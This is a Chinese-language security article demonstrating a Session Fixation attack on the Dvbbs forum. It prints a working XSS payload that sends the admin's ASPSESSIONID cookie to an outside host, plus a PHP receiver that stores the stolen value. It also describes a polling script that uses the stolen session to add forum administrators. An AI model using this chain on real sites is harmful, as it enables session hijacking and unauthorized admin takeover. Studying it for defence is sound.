网络安全 频道

Session Fixation 攻防实战

  总体来看,利用这样的漏洞,需要以下一些东西:

  1、a.php,一个脚本,用来接收XSS页面传来的SESSIONID,然后保存在haha.txt,可以放在任何一个支持php的空间里。

  2、go.py,没隔5秒,请求一次haha.txt,获得SESSIONID值。之后把获得的SESSIONID值放入请求的COOKIE中,请求后台页面的“添加管理员功能”。

  3、一个前台的XSS漏洞,这个漏洞我们自己可以构造出来。

  作者为了仅仅说明这个问题,而不是大量的制造攻击,所以单独为动网写了个对应的脚本,go.py这个脚本,请求了动网后台的“添加管理员功能”。他会一直去请求,不管管理员有没有登录,在登录前,会收到“本页面为管理员专。。。”字样。但是管理员一旦登录,就会请求成功这个功能。

  下图可以说明这次模拟实验:

  第一步。首先架设好辅助攻击的服务器,服务器中有两个文件,一个是a.php。这个文件用来接收XSS发来的SESSIONID信息,然后保存为haha.txt。

  第二步。执行go.py。这个文件会每隔5秒,请求一次haha.txt,读取其中的数据,解析为对应的SESSIONID,把SESSIONID放在发动包的COOKIE中,之后请求一次“添加管理员”这个功能。

  管理员登录后台之后,SESSIONID就会成为了一个可以通过论坛验证的SESSIONID,这时候的请求会成为合法请求,登录之前的请求,全都是垃圾数据。在整个过程中,我们要求管理员在登录前浏览一次XSS页面,然后登陆。登录后,大概15秒的时候,就可以退出了。这点时间,我们的攻击,已经成功。

  请注意,这次攻击的演示中,重点不是动网出现了XSS漏洞,而是Session Fixation,所以我们在前台假设他出现了XSS漏洞。制造这个漏洞很简单,论坛后台有个给版面加“本版版规”的功能,支持HTML。把XSS的内容放这里:

<script>url0="";url1="";cv=document.cookie.split("; ");for(i=0; i<cv.length; i++){cvv=cv[i].split("=");if(cvv[0].indexOf("ASPSESSIONID")>-1){cvtmp=cv[i];cvvtmp=cvtmp.split("=");url0=cvvtmp[0];url1=cvvtmp[1];}};function f(){ifm=document.createElement("IFRAME");document.body.appendChild(ifm);ifm.src="http://safe.it168.com/a.php?id="+url0+"&value="+url1;}setTimeout(f,"1000");</script>

  用于提交SESSIONID到a.php。下面是一个COOKIE的内容:

  请注意图片中的“ASPSESSIONIDASQCSSRT=PIMHLBHCDAPCDLMNLFBGHCIB”这部分,这里就是一个SESSIONID和它的值。不仅仅是每次新的SESSIONID的值不一样,“ASPSESSIONIDASQCSSRT”这个KEY的名字,也是不同名称的。但是他逃脱不了一种模式,就是SESSIONID的名字,改来改去,总要让服务器认识。结合几次抓包内容,发现,这个字符串没有固定的名称,也没有固定的值,但是他总是以“ASPSESSIONID”开头。所以才会有了这段生涩难解的XSS代码。

  php代码,用于接收提交过来的SESSIONID,保存:

<?php
$fp
= fopen("haha.txt","wb");
fwrite($fp,$_GET[
"id"].",".$_GET["value"],strlen($_GET["id"].",".$_GET["value"]));
fclose($fp);
?
>

  下面先执行go.py。

0
相关文章